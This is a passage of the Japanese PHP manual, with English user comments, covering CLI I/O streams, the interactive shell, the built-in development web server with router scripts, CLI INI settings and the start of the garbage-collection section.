4.  or, you can set exactly one configuration variable. I recommend this one, because display_errors actually takes effect if it is set here. Otherwise, the only place you can enable it is system-wide in php.ini. If you try to use ini_set() in your script itself, it's too late: if your script has a parse error, it will silently die.

5. This will not (as of 2013) work on Linux. It acts as if the whole string, "-n -ddisplay_errors=E_ALL" were a single argument. But in BSD, the shebang line can take more than 2 arguments, and so it may work as intended.

Summary: use (2) for maximum portability, and (4) for maximum debugging.
petruzanautico at yah00 dot com dot ar 17-Aug-2011 01:06
As you can't use -r and -f together, you can circumvent this by doing the following:
php -r '$foo = 678; include("your_script.php");'
spencer at aninternetpresence dot net 07-Aug-2011 05:03
If you are running the CLI on Windows and use the "-r" option, be sure to enclose your PHP code in double (not single) quotes. Otherwise, your code will not run.


入出力ストリーム

CLI SAPI には入出力ストリーム用の定数がいくつか定義されており、 これらを使うとコマンドライン用のプログラミングが多少簡単になります。

CLI 固有の定数
定数 説明
STDIN

stdin へのオープン済みのストリーム。 これにより、以下のようにオープンする必要がなくなります。

<?php
$stdin = fopen('php://stdin', 'r');
?>
stdin から1行読み込みたい場合、以下のようにします。
<?php
$line = trim(fgets(STDIN)); // STDIN から 1 行読み込む
fscanf(STDIN, "%d\n", $number); // STDIN から数値を読み込む
?>

STDOUT

stdout へのオープン済みのストリーム。 これにより、以下のようにオープンする必要がなくなります。

<?php
$stdout = fopen('php://stdout', 'w');
?>

STDERR

stderr へのオープン済みのストリーム。 これにより、以下のようにオープンする必要がなくなります。

<?php
$stderr = fopen('php://stderr', 'w');
?>

上記のように、stderr のようなストリームを自分で オープンする必要はなく、以下のようにストリームリソースの代わりに 定数を使用するだけでかまいません。

php -r 'fwrite(STDERR, "stderr\n");'
これらのストリームを明示的に閉じる必要はありません。これは、 PHP により自動的に行われます。

注意:

これらの定数は、PHP スクリプトを stdin から読み込んだ場合は使用できません。

User Contributed Notes

phil_php at zieaon dot com 10-Jun-2020 04:42
Under Linux CLI - STDIN, STDOUT and STDERR can be closed and reconnected to a different php stream such as a file, pipe or even a UDP socket_stream. (I use this technique to send the output/errors of my long running background scripts to a file so I can debug if something goes wrong.)

For example: (The below creates/appends file "/tmp/php_stdout.txt")
<?php
// This only works under CLI in Linux
// Note: Until we have closed it STDOUT will NOT be prefixed with a $

// Get the path to the current console for STDOUT so we can reconnect later!
    $strOldSTDOUT=(posix_ttyname(STDOUT));

    echo("This will go to the current console\r\n");
// Close the STDOUT resource
    fclose(STDOUT);

// Reopen $STDOUT as a file     Note: All further $STDOUT usage will be prefixed with a $
    $STDOUT=fopen("/tmp/php_stdout.txt","a");  /
    echo("This should append the file /tmp/php_stdout.txt\r\n");
// Close stdout again so we can reconnect the console. Note: We are still using
    fclose($STDOUT);

// Use the path to the console we got earlier
    $STDOUT=fopen($strOldSTDOUT,"r+");
    echo("And we are back on the console\r\n");

?>
phil_php at zieaon dot com 08-Aug-2018 07:38
The command line interface data in STDIN is not made available until return is pressed.
By adding "readline_callback_handler_install('', function(){});" before reading STDIN for the first time single key presses can be captured.

Note: This only seems to work under Linux CLI and will not work in Apache or Windows CLI.

This cam be used to obscure a password or used with 'stream_select' to make a non blocking keyboard monitor.

<?php

// Demo WITHOUT readline_callback_handler_install('', function(){});
    $resSTDIN=fopen("php://stdin","r");
    echo("Type 'x'. Then press return.");
    $strChar = stream_get_contents($resSTDIN, 1);

    echo("\nYou typed: ".$strChar."\n\n");
    fclose($resSTDIN);

// Demo WITH readline_callback_handler_install('', function(){});
// This line removes the wait for <CR> on STDIN
    readline_callback_handler_install('', function(){});

    $resSTDIN=fopen("php://stdin","r");
    echo("We have now run: readline_callback_handler_install('', function(){});\n");
    echo("Press the 'y' key");
    $strChar = stream_get_contents($resSTDIN, 1);
    echo("\nYou pressed: ".$strChar."\nBut did not have to press <cr>\n");
    fclose($resSTDIN);
    readline_callback_handler_remove ();
    echo("\nGoodbye\n")
?>

It also hides text from the CLI so can be used for things like. password obscurification.
eg

<?php
    readline_callback_handler_install('', function(){});
    echo("Enter password followed by return. (Do not use a real one!)\n");
    echo("Password: ");
    $strObscured='';
    while(true)
    {
    $strChar = stream_get_contents(STDIN, 1);
    if($strChar===chr(10))
    {
        break;
    }
    $strObscured.=$strChar;
    echo("*");
    }
    echo("\n");
    echo("You entered: ".$strObscured."\n");
?>
ayon at hyurl dot com 21-Feb-2017 12:23
I find a BUG with the constant STDIN, I don't know if it si the Enter/Return key that make this proprem, when I use trim(fgets(STDIN)), that doesn't trim anything, when I detect the length of fgets(STDIN), in windows, it is 2 characters longer than what I input, in Linux, it makes 1. I tried to trim(fgets(STDIN), ' \r\n'), but it still does not work.
So I have to substr the input manually, it seems like this way:
<?php
$STDIN = trim(substr(fgets(STDIN), 0, (PHP_OS == 'WINNT' ? 2 : 1)));
?>
then I get what I want really.
ecrist at secure-computing dot net 27-Jul-2011 08:15
The following code shows how to test for input on STDIN.  In this case, we were looking for CSV data, so we use fgetcsv to read STDIN, if it creates an array, we assume CVS input on STDIN, if no array was created, we assume there's no input from STDIN, and look, later, to an argument with a CSV file name.

Note, without the stream_set_blocking() call, fgetcsv() hangs on STDIN, awaiting input from the user, which isn't useful as we're looking for a piped file. If it isn't here already, it isn't going to be.

<?php
stream_set_blocking(STDIN, 0);
$csv_ar = fgetcsv(STDIN);
if (is_array($csv_ar)){
  print "CVS on STDIN\n";
} else {
  print "Look to ARGV for CSV file name.\n";
}
?>
Aurelien Marchand 04-Mar-2011 08:10
Please remember in multi-process applications (which are best suited under CLI), that I/O operations often will BLOCK signals from being processed.

For instance, if you have a parent waiting on fread(STDIN), it won't handle SIGCHLD, even if you defined a signal handler for it, until after the call to fread has returned.

Your solution in this case is to wait on stream_select() to find out whether reading will block. Waiting on stream_select(), critically, does NOT BLOCK signals from being processed.

Aurelien
James Zhu 09-Dec-2010 01:45
Example:

<?php
function ReadStdin($prompt, $valid_inputs, $default = '') {
    while(!isset($input) || (is_array($valid_inputs) && !in_array($input, $valid_inputs)) || ($valid_inputs == 'is_file' && !is_file($input))) {
        echo $prompt;
        $input = strtolower(trim(fgets(STDIN)));
        if(empty($input) && !empty($default)) {
            $input = $default;
        }
    }
    return $input;
}

// you can input <Enter> or 1, 2, 3
$choice = ReadStdin('Please choose your answer or press Enter to continue: ', array('', '1', '2', '3'));

// check input is valid file name, use /var/path for input nothing
$file = ReadStdin('Please input the file name(/var/path):', 'is_file', '/var/path');
?>

you can add more functions if you want.


対話シェル

PHP 5.1.0 以降では、--with-readline オプションつきで PHP をコンパイルした場合に CLI SAPI で対話シェルが使えるようになりました。 対話シェルは、-a オプションで使うことができます。 PHP 7.1.0 以降では、readline エクステンション が有効であれば 対話シェルは Windows 上でも使用可能です。

対話シェルを使うと、PHP のコードを打ち込んで直接実行できるようになります。

例1 対話シェル上でのコードの実行

$ php -a
Interactive shell

php > echo 5+8;
13
php > function addTwo($n)
php > {
php { return $n + 2;
php { }
php > var_dump(addtwo(2));
int(4)
php >

対話シェル上では、タブ補完機能を使って 関数や定数、クラス名、変数名、静的なメソッドコール、そしてクラス定数を補完することができます。

例2 タブ補完

補完候補が複数あるときにタブキーを二度押すと、 補完候補の一覧が表示されます。

php > strp[TAB][TAB]
strpbrk   strpos    strptime
php > strp

候補がひとつしかないときは、タブキーを一度押せば残りを補完してくれます。

php > strpt[TAB]ime(

対話シェルのセッション上で定義したものについても補完することができます。

php > $fooThisIsAReallyLongVariableName = 42;
php > $foo[TAB]ThisIsAReallyLongVariableName

対話シェル上では操作履歴が保存され、上矢印キーと下矢印キーで履歴にアクセスすることができます。 履歴の保存先は ~/.php_history ファイルです。

PHP 5.4.0 以降、CLI SAPI に二つの新たな php.ini 設定が追加されました。cli.pager と cli.prompt です。cli.pager は、外部のプログラム (less など) を出力のページャとして指定することができます。 出力が画面に直接送られるかわりに、このページャに送られるようになります。 cli.prompt を指定すると、 php > プロンプトを変更することができます。

また、PHP 5.4.0 以降では、対話シェルの中で php.ini 項目を設定する際に短縮記法が使えるようにもなりました。

例3 対話シェル内での php.ini の設定

cli.prompt を設定します。

php > #cli.prompt=hello world :>
hello world :>

バッククォートを使うと、PHP のコードの実行結果をプロンプトとして用いることができます。

php > #cli.prompt=`echo date('H:i:s');` php >
15:49:35 php > echo 'hi';
hi
15:49:43 php > sleep(2);
15:49:45 php >

ページャを less に設定します。

php > #cli.pager=less
php > phpinfo();
(出力が less に送られます)
php >

cli.prompt の設定は、次のようなエスケープシーケンスに対応しています。

cli.prompt のエスケープシーケンス
シーケンス | 説明
\e | プロンプトに色をつけます。たとえば \e[032m\v \e[031m\b \e[34m\> \e[0m のように使います。
\v | PHP のバージョン。
\b | PHP が今どのブロックにいるのかを示します。たとえば、 複数行コメントの中にいる場合は /* となります。 外側のスコープは php で表します。
\> | プロンプト文字を示します。デフォルトでは > ですが、ブロックや文字列の途中にあるときは変わります。 ' " { ( > のような文字になることがあります。

注意:

auto_prepend_file および auto_append_file で インクルードされたファイルはこのモードでもパースされますが、 いくつかの制限があります。例えば、関数はそれがコールされる前に 定義されていなければなりません。

User Contributed Notes

Gray 02-Jan-2020 11:53
When adding colours, don't forget that PHP uses the same 'readline' as Bash does, so it has the same need to wrap all colour codes in special marker characters.

If you simply add raw colour codes to the prompt, you will notice that long lines no longer get wrapped correctly -- Readline no longer knows how wide the prompt is.

To fix this, you need to start each colour code with an '0x01' byte (aka Ctrl-A aka SOH) and end it with the '0x02' byte (aka Ctrl-B aka STX). There are no escapes for these -- you have to literally put the control characters in your php-cli.ini.

For example:

<?php

// cli.prompt = <SOH>\e[1m<STX> PHP! \> <SOH>\e[m<STX>

echo "cli.prompt = \x01\\e[1m\x02 PHP! \x01\\e[m\x02\n";
?>
alexmarcxyz at gmail dot com 12-Apr-2018 07:22
While configuring php shell script, We need to take care of these commands, Abstract.php, Compiler.php, Indexer.php, Log.php, You can check more details about these commands at, https://www.cloudways.com/blog/php-shell-scripts-magent . Hope it will help your readers as well as I got help from your and this post.
John 13-Mar-2018 12:54
If you delete your "~/.php_history", you MUST re-create the file manually!

Because after I deleted my history file, "php -a" (interactive mode) never saved any history anymore.

It only started working after I ran "touch ~/.php_history" to create an empty file. From then on, PHP is saving history again!

I thought this was a bit unusual. Normally, applications recreate their history files themselves. But just be aware of the fact that PHP works this way instead, guys and girls! :-)
wheat at wheatdesign dot com 11-Oct-2017 04:16
If you're stuck on Widows or any other machine where PHP was not compiled with readline support, one solution is to use a web-based PHP CLI. I use this in training classes, especially the sort where people bring their own laptops and I can't assume they have PHP installed. The best one I've found--partly because of the UX and partly because it's free (no credit card required) and quick to setup, is http://repl.it
#linuxmint-es 06-Sep-2017 02:50
For use interactive mode enabled on GNU/Linux on distros Debian/Ubuntu/LinuxMint you must install "php*-cli" and "php*-readline" packages from official repository.
Example:
 >$sudo aptitude install php5-cli php5-readline

After that you can use interactive mode.
Example:
~ $ php -a
Interactive mode enabled

php >echo "hola mundo!\n";
hola mundo!
php >

I hope somebody help it!
elijah at elijahlynn dot net 15-Oct-2014 08:04
Bug #55496 Interactive mode doesn't force a newline before the prompt => https://bugs.php.net/bug.php?id=55496

Fixed on July 24th, 2014 @ http://git.php.net/?p=php-src.git;a=commit;h=71d3a69425449972f4efdf7228c6f7e49e090755

Until then, this will work:

php -dcli.prompt="\nphp> " -a
Shane Harter 30-Jun-2013 07:53
If you've ever wanted to build your own interactive shell, I released a project recently that makes it insanely easy to build awesome shell apps in PHP. It blends features from Zend2 and Symonfy2 with things like regex routing, state management, etc. Check it out here:

https://github.com/shaneharter/sheldon
Ryan P 21-Mar-2012 10:03
Interactive Shell and Interactive Mode are not the same thing, despite the similar names and functionality.

If you type 'php -a' and get a response of 'Interactive Shell' followed by a 'php>' prompt, you have interactive shell available (PHP was compiled with readline support). If instead you get a response of 'Interactive mode enabled', you DO NOT have interactive shell available and this article does not apply to you.

You can also check 'php -m' and see if readline is listed in the output - if not, you don't have interactive shell.

Interactive mode is essentially like running php with stdin as the file input. You just type code, and when you're done (Ctrl-D), php executes whatever you typed as if it were a normal PHP (PHTML) file - hence you start in interactive mode with '<?php' in order to execute code.

Interactive shell evaluates every expression as you complete it (with ; or }), reports errors without terminating execution, and supports standard shell functionality via readline (history, tab completion, etc). It's an enhanced version of interactive mode that is ONLY available if you have the required libraries, and is an actual PHP shell that interprets everything you type as PHP code - using '<?php' will cause a parse error.

Finally, if you're running on Windows, you're probably screwed. From what I'm seeing in other comments here, you don't have readline, and without readline there is no interactive shell.
lee8oi at gmail dot com 10-Mar-2012 04:06
I use git-bash in windows to connect to my servers via SSH. When I use the interactive mode via 'php -a' command I have to hit ctrl+d twice to execute the entered code. Example:
(<ctrl+d> denotes hitting ctrl & D)

-bash$ php -a
Interactive mode enabled
<?php
echo 'hello world';
?><br />
<ctrl+d>
<ctrl+d>
hello world<br />
-bash$

Note: this still displays the <br /> tag but without the tag your output would likely be attached to your bash prompt like this:

hello world-bash$
spencer at aninternetpresence dot net 09-Sep-2011 10:45
In Windows, press Enter after your ending PHP tag and then hit Ctrl-Z to denote the end-of-file:

C:\>php -a
Interactive mode enabled

<?php
echo "Hello, world!";
?>
^Z
Hello, world!

You can use the up and down arrows in interactive mode to recall previous code you ran.
alexandrebr at gmail dot com 30-Jun-2011 02:55
For those who (just like me) can't get it working, try to press CTRL+D after inserting some commands.

Example:
php
<?php
echo "Hello World!\r\n";
(Hit CTRL+D here)
Hello World!

This is NOT interactive mode, but may help you.

To have the "-i" available, you'll need the following arguments while compiling PHP:
--with-readline e --with-libedit
xEviL 16-Jan-2011 05:17
When building php on FreeBSD from ports one can add --with-readline option by manually editing the var CONFIGURE_ARGS in Makefile inside the php port directory and proceeding with build as usual.
Anonymous 28-Jun-2010 03:41
It seems the interactive shell cannot be made to work in WIN environments at the moment.

Using "php://stdin", it shouldn't be too difficult to roll your own.  You can partially mimic the shell by calling this simple script (Note: Window's cmd already has an input history calling feature using the up/down keys, and that functionality will still be available during execution here):

<?php

$fp = fopen("php://stdin", "r");
$in = '';
while($in != "quit") {
    echo "php> ";
    $in=trim(fgets($fp));
    eval ($in);
    echo "\n";
    }

?>

Replace 'eval' with code to parse the input string, validate it using is_callable and other variable handling functions, catch fatal errors before they happen, allow line-by-line function defining, etc.  Though Readline is not available in Windows, for more tips and examples for workarounds, see http://www.php.net/manual/en/ref.readline.php
Anonymous 20-Jun-2010 12:56
Just a few more notes to add...

1) Hitting return does literally mean "execute this command".  Semicolon to note end of line is still required.  Meaning, doing the following will produce a parse error:

php > print "test"
php > print "asdf";

Whereas doing the following is just fine:

php > print "test"
php > ."asdf";

2) Fatal errors may eject you from the shell:

name@local:~$ php -a
php > asdf();

Fatal Error: call to undefined function...
name@local:~$

3) User defined functions are not saved in history from shell session to shell session.

4) Should be obvious, but to quit the shell, just type "quit" at the php prompt.

5) In a sense, the shell interaction can be thought of as linearly following a regular php file, except it's live and dynamic.  If you define a function that you've already defined earlier in your current shell, you will receive a fatal "function already defined" error only upon entering that closing bracket.  And, although "including" a toolset of custom functions or a couple of script addon php files is rather handy, should you edit those files and wish to "reinclude" it again, you'll cause a fatal "function x already defined" error.


ビルトインウェブサーバー

警告

このウェブサーバーは、アプリケーション開発の支援用として設計されたものです。 テスト用に使ったり、制約のある環境でアプリケーションをデモするために使ったりすることもできるでしょう。 あらゆる機能を兼ね備えたウェブサーバーを目指したものではないので、 公開ネットワーク上で使ってはいけません。

PHP 5.4.0 から、CLI SAPI にはウェブサーバーの機能が組み込まれるようになりました。

このウェブサーバーは単一のシングルスレッドプロセスしか実行しないので、 リクエストがブロックされると、PHP アプリケーションはストールします。

URI リクエストの処理は、PHP を開始した時点の作業ディレクトリから行われます。 -t オプションを使えば、ドキュメントルートを明示的に指定することができます。 URI リクエストにファイルが含まれない場合は、指定したディレクトリにある index.php あるいは index.html を返します。どちらも存在しない場合は、 親ディレクトリにさかのぼって index.php と index.html を探します。 どちらか一方が見つかるか、あるいはドキュメントルートに達するまでこれが続きます。 index.php あるいは index.html が見つかるとそれを返し、 $_SERVER['PATH_INFO'] が URI の末尾にセットされます。 見つからなかった場合はレスポンスコード 404 を返します。

ウェブサーバーの開始時にコマンドラインで PHP ファイルを指定すると、 そのファイルをウェブサーバーの "ルーター" スクリプトとして使います。 このスクリプトは、各 HTTP リクエストの開始時に動きます。このスクリプトが false を返すと、リクエストされたリソースをそのままの形式で返します。 それ以外の場合はスクリプトの出力をブラウザに返します。

以下にあげる拡張子のファイルについては、標準の MIME タイプを返します。 .3gp, .apk, .avi, .bmp, .css, .csv, .doc, .docx, .flac, .gif, .gz, .gzip, .htm, .html, .ics, .jpe, .jpeg, .jpg, .js, .kml, .kmz, .m4a, .mov, .mp3, .mp4, .mpeg, .mpg, .odp, .ods, .odt, .oga, .ogg, .ogv, .pdf, .pdf, .png, .pps, .pptx, .qt, .svg, .swf, .tar, .text, .tif, .txt, .wav, .webm, .wmv, .xls, .xlsx, .xml, .xsl, .xsd, そして .zip.

変更履歴: サポートする MIME タイプ (ファイル拡張子)
バージョン | 説明
5.5.12 | .xml, .xsl, および .xsd
5.5.7 | .3gp, .apk, .avi, .bmp, .csv, .doc, .docx, .flac, .gz, .gzip, .ics, .kml, .kmz, .m4a, .mp3, .mp4, .mpg, .mpeg, .mov, .odp, .ods, .odt, .oga, .pdf, .pptx, .pps, .qt, .swf, .tar, .text, .tif, .wav, .wmv, .xls, .xlsx, および .zip
5.5.5 | .pdf
5.4.11 | .ogg, .ogv, および .webm
5.4.4 | .htm および .svg
変更履歴
バージョン | 説明
7.4.0 | ビルトインウェブサーバに対して複数のリクエストを並列で投げる必要があるテストコードのために、 複数のワーカーをフォークさせるよう設定できるようになりました。 サーバを起動する前に欲しいワーカーの数を PHP_CLI_SERVER_WORKERS 環境変数に設定してください。 この機能は Windows ではサポートされていません。 警告 この機能は 実験的なもの であり、 本番環境で使うことを意図した機能では ありません。 ビルトインウェブサーバは本番環境で使うものではありません。

例1 ウェブサーバーの起動

$ cd ~/public_html
$ php -S localhost:8000

ターミナルには次のように表示されます。

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit

http://localhost:8000/ と http://localhost:8000/myscript.html をリクエストした後のターミナルの表示は、 このようになります。

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:48:48 2011] ::1:39144 GET /favicon.ico - Request read
[Thu Jul 21 10:48:50 2011] ::1:39146 GET / - Request read
[Thu Jul 21 10:48:50 2011] ::1:39147 GET /favicon.ico - Request read
[Thu Jul 21 10:48:52 2011] ::1:39148 GET /myscript.html - Request read
[Thu Jul 21 10:48:52 2011] ::1:39149 GET /favicon.ico - Request read

Windows 環境、かつ PHP 7.4.0 より前のバージョンでは、 ルーティングを行うスクリプトがシンボリックリンク先の静的なリソースを処理しない限り、 それらのリソースにアクセスできませんでした。

例2 ドキュメントルートディレクトリを指定した起動

$ cd ~/public_html
$ php -S localhost:8000 -t foo/

ターミナルには次のように表示されます。

PHP 5.4.0 Development Server started at Thu Jul 21 10:50:26 2011
Listening on localhost:8000
Document root is /home/me/public_html/foo
Press Ctrl-C to quit

例3 ルータースクリプトの使用

この例では、画像ファイルをリクエストすればそのまま表示し、HTML ファイルをリクエストすると "Welcome to PHP" と表示します。

<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"])) {
    return false;    // リクエストされたリソースをそのままの形式で扱います。
} else {
    echo "<p>Welcome to PHP</p>";
}
?>
$ php -S localhost:8000 router.php

例4 CLI ウェブサーバーを使っているかどうかのチェック

フレームワークのルータースクリプトを、開発中は CLI ウェブサーバーで使って その後は本番環境のウェブサーバーでも使うという例です。

<?php
// router.php
if (php_sapi_name() == 'cli-server') {
    /* 静的コンテンツのルーティングをして false を返します */
}
/* 通常の index.php の処理を続きます */
?>
$ php -S localhost:8000 router.php

例5 未サポートのファイル形式の処理

CLI ウェブサーバーで対応していない MIME タイプの静的リソースを扱うには、このようにします。

<?php
// router.php
$path = pathinfo($_SERVER["SCRIPT_FILENAME"]);
if ($path["extension"] == "el") {
    header("Content-Type: text/x-script.elisp");
    readfile($_SERVER["SCRIPT_FILENAME"]);
}
else {
    return FALSE;
}
?>
$ php -S localhost:8000 router.php

例6 CLI ウェブサーバーへのリモートマシンからのアクセス

ウェブサーバーを、任意のインターフェイスからポート 8000 でアクセスできるようにするには、このようにします。

$ php -S 0.0.0.0:8000
警告

ビルトインウェブサーバは、公開ネットワークで使うべきではありません。

User Contributed Notes

deep at deepshah dot me 10-Jun-2020 05:37
Listen on all addresses of IPv4:
php -S 0.0.0.0:80

Listen on all addresses of IPv6:
php -S [::0]:80
sony at sony-ak dot com 08-Jan-2020 03:49
To send environment variable as long as with PHP built-in web server, type like this.

~$ MYENV=dev php -d variables_order=EGPCS -S 0.0.0.0:8000

On PHP script we can check with this code.

<?php
  echo getenv('MYENV'); // print dev
Lukas 01-Jul-2019 03:45
For serving static content like .css or .js and otherwise using a router (for me it was index.php)  this worked out of the box for me:

   php -S localhost:8000

Due to my router file was index.php. But

   php -S localhost:8000 index.php

did not work, because my static files are not served via my router.
dachund at gmail dot com 22-Dec-2017 06:17
I fiddled around with the internal webserver and had issues regarding handling static files, that do not contain a dot and a file extension.

The webserver responded with 200 without any content for files with URIs like "/testfile".

I am not certain if this is a bug, but I created a router.php that now does not use the "return false;" operation in order to pass thru the static file by the internal webserver.

Instead I use fpassthru() to do that.

In addition to that, my router.php can be configured to...
- ... have certain index files, when requesting a directory
- ... configure regex routes, so that, if the REQUEST_URI matches the regex, a certain file or directory is requested instead. (something you would do with nginx config or .htaccess ModRewrite)

Maybe someone finds this helpful.

================================

<?php

$indexFiles = ['index.html', 'index.php'];
$routes = [
  '^/api(/.*)?$' => '/index.php'
];

$requestedAbsoluteFile = dirname(__FILE__) . $_SERVER['REQUEST_URI'];

// check if the the request matches one of the defined routes
foreach ($routes as $regex => $fn)
{
  if (preg_match('%'.$regex.'%', $_SERVER['REQUEST_URI']))
  {
    $requestedAbsoluteFile = dirname(__FILE__) . $fn;
    break;
  }
}

// if request is a directory call check if index files exist
if (is_dir($requestedAbsoluteFile))
{
  foreach ($indexFiles as $filename)
  {
    $fn = $requestedAbsoluteFile.'/'.$filename;
    if (is_file($fn))
    {
      $requestedAbsoluteFile = $fn;
      break;
    }
  }
}

// if requested file does not exist or is directory => 404
if (!is_file($requestedAbsoluteFile))
{
  header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found');
  printf('"%s" does not exist', $_SERVER['REQUEST_URI']);
  return true;
}

// if requested file is'nt a php file
if (!preg_match('/\.php$/', $requestedAbsoluteFile)) {
  header('Content-Type: '.mime_content_type($requestedAbsoluteFile));
  $fh = fopen($requestedAbsoluteFile, 'r');
  fpassthru($fh);
  fclose($fh);
  return true;
}

// if requested file is php, include it
include_once $requestedAbsoluteFile;
dwingardjr at gmail dot com 09-Aug-2017 11:53
Just a note to people who also use windows 8.1, or anyone who has had this problem when running the using the PHP server CLI.

`PHP -S localhost:8000 -t /public` <-- Not going to work.

`PHP -S localhost:8000 -t public` <-- Works!

And there is something else up in the notes saying something about you can't serve a project folder and a router file. Well, actually you can! At least for me.

`PHP -S localhost:8000 router.php -t public` <-- Perhaps someone tries this and it doesn't work.

`PHP -S localhost:8000 -t public router.php` <-- Works!
gyunaev at gmail dot com 29-Jun-2017 07:16
You can also print messages to the server's STDOUT via error_log().

Also the documentation doesn't make it clear that when you use router script if a PHP file is requested and you return false, the PHP file will be served (i.e. you do not need to load and eval it manually).
eyecatchup at gmail dot com 26-May-2017 07:26
Note: The built-in web server has a file size limit. For files larger than 5 GB, it will always serve a "File not found" error page.
oan at vizrt dot com 11-Jan-2017 01:43
I painfully experienced behaviour that I can't seem to find documented here so I wanted to save everyone from repeating my mistake by giving the following heads up:

When starting php -S on a mac (in my case macOS Sierra) to host a local server, I had trouble with connecting from legacy Java.

As it turned out, if you started the php server with
"php -S localhost:80"
the server will be started with ipv6 support only!

To access it via ipv4, you need to change the start up command like so:
 "php -S 127.0.0.1:80"
which starts server in ipv4 mode only.
ohcc at 163 dot com 22-Dec-2016 07:09
$_SERVER['SERVER_ADDR'] is not defined when using php as the built-in commandline web server, so you can not use $_SERVER['SERVER_ADDR'] to detect the Server's IP address.

P.S.: This is tested on Windows with PHP 7.1 on 2016-12-22.

Below is the printed $_SERVER variable.

Array
(
    [DOCUMENT_ROOT] => E:\Programs\PHPServer\www\srv
    [REMOTE_ADDR] => 118.117.61.32
    [REMOTE_PORT] => 10865
    [SERVER_SOFTWARE] => PHP 7.1.0 Development Server
    [SERVER_PROTOCOL] => HTTP/1.1
    [SERVER_NAME] => 0.0.0.0
    [SERVER_PORT] => 8080
    [REQUEST_URI] => /
    [REQUEST_METHOD] => GET
    [SCRIPT_NAME] => /index.php
    [SCRIPT_FILENAME] => E:\Programs\PHPServer\www\srv\index.php
    [PHP_SELF] => /index.php
    [HTTP_HOST] => www.wuxiancheng.cn:8080
    [HTTP_CONNECTION] => keep-alive
    [HTTP_CACHE_CONTROL] => max-age=0
    [HTTP_UPGRADE_INSECURE_REQUESTS] => 1
    [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    [HTTP_DNT] => 1
    [HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
    [HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
    [HTTP_COOKIE] => qbbs_2132_saltkey=fZ7509n5; qbbs_2132_lastvisit=1482156014; Hm_lvt_f812a4362ef73c80c4d13485d1ab3a49=1482159614; _ga=GA1.2.1594404236.1482159615; su=727vL6EEPLqjcyfJcad-za9eVYOh1i7e; Hm_lvt_6a65b0f2004e441e86ecea9c3562d997=1482232509,1482241896,1482242293,1482296586
    [REQUEST_TIME_FLOAT] => 1482390410.65625
    [REQUEST_TIME] => 1482390410
)
matthes at leuffen dot de 18-Oct-2016 01:21
To output debugging information on the command line you can write output to php://stdout:

<?php
$path = $_SERVER["SCRIPT_FILENAME"];

file_put_contents("php://stdout", "\nRequested: $path");
echo "<p>Hello World</p>";
?>
Mark Simon 07-Aug-2016 09:55
It's not mentioned directly, and may not be obvious, but you can also use this to create a virtual host. This, of course, requires the help of your hosts file.

Here are the steps:

1    /etc/hosts
    127.0.0.1    www.example.com

2    cd [root folder]
    php -S www.example.com:8000

3    Browser:
    http://www.example.com:8000/index.php

Combined with a simple SQLite database, you have a very handy testing environment.
tamas at bartatamas dot hu 13-Oct-2014 02:19
If your URI contains a dot, you'll lose the $_SERVER['PATH_INFO'] variable, when using the built-in webserver.
I wanted to write an API, and use .json ending in the URI-s, but then the framework's routing mechanism broke, and it took a lot of time to discover that the reason behind it was its router relying on $_SERVER['PATH_INFO'].

References:
https://bugs.php.net/bug.php?id=61286
jonathan at reinink dot ca 22-Jan-2014 03:26
In order to set project specific configuration options, simply add a php.ini file to your project, and then run the built-in server with this flag:

php -S localhost:8000 -c php.ini

This is especially helpful for settings that cannot be set at runtime (ini_set()).
Ivan Ferrer 10-Jul-2013 08:03
On Windows you may find useful to have a phpserver.bat file in shell:sendto with the folowing:
explorer http://localhost:8888
rem check if arg is file or dir
if exist "%~1\" (
  php -S localhost:8888 -t "%~1"
) else (
  php -S localhost:8888 -t "%~dp1"
)

then for fast web testing you only have to SendTo a file or folder to this bat and it will open your explorer and run the server.


INI 設定

CLI SAPI の設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
cli_server.color | "0" | PHP_INI_ALL | PHP 5.4.0 以降で利用可能。

以下に設定ディレクティブに関する 簡単な説明を示します。

cli_server.color bool

組み込みの開発用ウェブサーバーで、ANSI カラーコードを使ってターミナルに出力できるようにします。

User Contributed Notes

There are no user contributed notes for this page.


ガベージコレクション

目次

  • 参照カウント法の原理
  • 循環の収集
  • パフォーマンスの考慮点

このセクションでは、PHP 5.3 の一部の、新しいガベージコレクション（別名GC）機構の メリットを説明します。

User Contributed Notes

There are no user contributed notes for this page.


参照カウント法の原理

PHP 変数は「zval」と呼ばれるコンテナに保管されます。 zval コンテナには、変数の型と値の他に、情報の追加ビットを2つ含みます。 1つ目は「is_ref」と呼ばれ、変数が「参照集合」の一部かどうかを示すブール値 です。 このビットによって、通常の変数と参照を区別する方法を PHP エンジンが知ります。 &演算子によって作成されるように、PHP ではユーザーランドで参照を使えるので、 zval コンテナもメモリー使用状況を最適化するための内部的な参照カウント機構を 持ちます。 追加情報の2つ目は「refcount」と呼ばれ、この1つの zval コンテナをどれだけ多くの 変数名（シンボルとも呼ばれます）が指すかを含みます。 シンボルは全てシンボルテーブルに保管され、スコープごとにシンボルテーブルの 1つがあります。 関数やメソッドごとのスコープばかりではなく、メインスクリプト用のスコープ （すなわち、ブラウザによってリクエストされたスクリプト）があります。

新しい変数が定数値を使って作成されるとき、zval コンテナが作成されます。 例えば、

例1 新規 zval コンテナを作成

<?php
$a = "new string";
?>

この例では、新しいシンボル名（a）が現在のスコープで作成され、 新しい変数コンテナが string 型と値 new string で作成されます。 「is_ref」ビットはデフォルトで false にセットされます。なぜなら、ユーザーランド 参照が作成されないからです。 この変数コンテナを利用するシンボルが1つだけあるので、「refcount」は 1 に設定されます。 「refcount」が 1 ならば、is_ref が常に false である点に 注意してください。 もし » Xdebug をインストール済みなら、 xdebug_debug_zval()を呼ぶと、この情報を表示できます。

例2 zval 情報を表示

<?php
$a = "new string";
xdebug_debug_zval('a');
